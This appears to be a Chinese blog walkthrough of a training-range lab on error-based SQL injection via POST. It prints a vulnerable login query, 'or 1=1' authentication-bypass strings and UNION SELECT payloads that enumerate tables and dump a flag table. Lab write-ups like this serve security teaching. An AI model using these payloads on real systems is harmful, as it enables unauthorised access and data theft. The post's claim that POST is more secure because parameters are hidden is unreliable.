SQL注入顯錯注入-POST
阿新 • • 發佈:2021-09-13
post 形式進行傳參
測試點:
測試萬能密碼
'or 1=1 -- qwe
0x00 首先了解post傳參與get傳參的區別:
特性不同:
Get請求是將資料新增到URL中並傳遞到伺服器,通常利用一個問號“?”代表URL地址的結尾與資料引數的開端。Post請求資料是放在HTTP主體中的,其組織方式不只一種,有"&"連線方式,也有分割符方式,可隱藏引數,傳遞大批資料,比較方便。
傳輸方式不同:
get方式把引數資料列加到提交表單的ACTION屬性所指的URL中,值和表單內各個欄位分別對應,在URL中可以看到。post方式通過HTTP post機制,將表單內各個欄位與其內容放置在HTML HEADER內一起傳送到ACTION屬性所指的URL地址。
服務端獲取資料方式不同:
get方式是伺服器端用Request.QueryString獲取變數的值。post方式是務器端用Request.Form獲取提交的資料。
傳輸資料量不同:
get傳送的資料量較小,不能大於2KB。post傳送的資料量較大,一般預設為不受限制。但實際上會因為伺服器的不同有所差異。
安全性不同:
由於get方式傳遞的引數可以在頁面上看見,所以get安全性非常低。Psot方式傳遞的引數使用者不可見,因此post安全性較高。
0x01 靶場測試
靶場環境:封神臺靶場
漏洞關鍵程式碼:
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
檢視程式碼只對'(單引號做了過濾),繞過方式 在POST資料介面 跟上 a' 即可
在登入口 輸入 admin' or 1=1# 萬能密碼 繞過
原理 在和資料庫互動的使用 'or 1=1 條件成立
從而繞過了驗證機制
判斷注入存在
進過測試發現存在3個欄位的注入點
使用一下SQL語句查看回顯點
or 1=2 因為使用了聯合查詢,使前面的條件出錯
a'or 1=2 union select 1,2,3#
檢視庫名
庫名為 post_error
a' or 1=2 union select 1,database(),3#
查看錶
a' or 1=2 union select 1,table_name,3 from information_schema.tables where table_schema="post_error" limit 0,1#
a ' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1#'
a' or 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
檢視欄位
a' union select 1,group_concat(column_name),verison from information_schema.columns where table_schema=database() and table_name="flag"#
a' union select 1,group_concat(flag),3 from flag#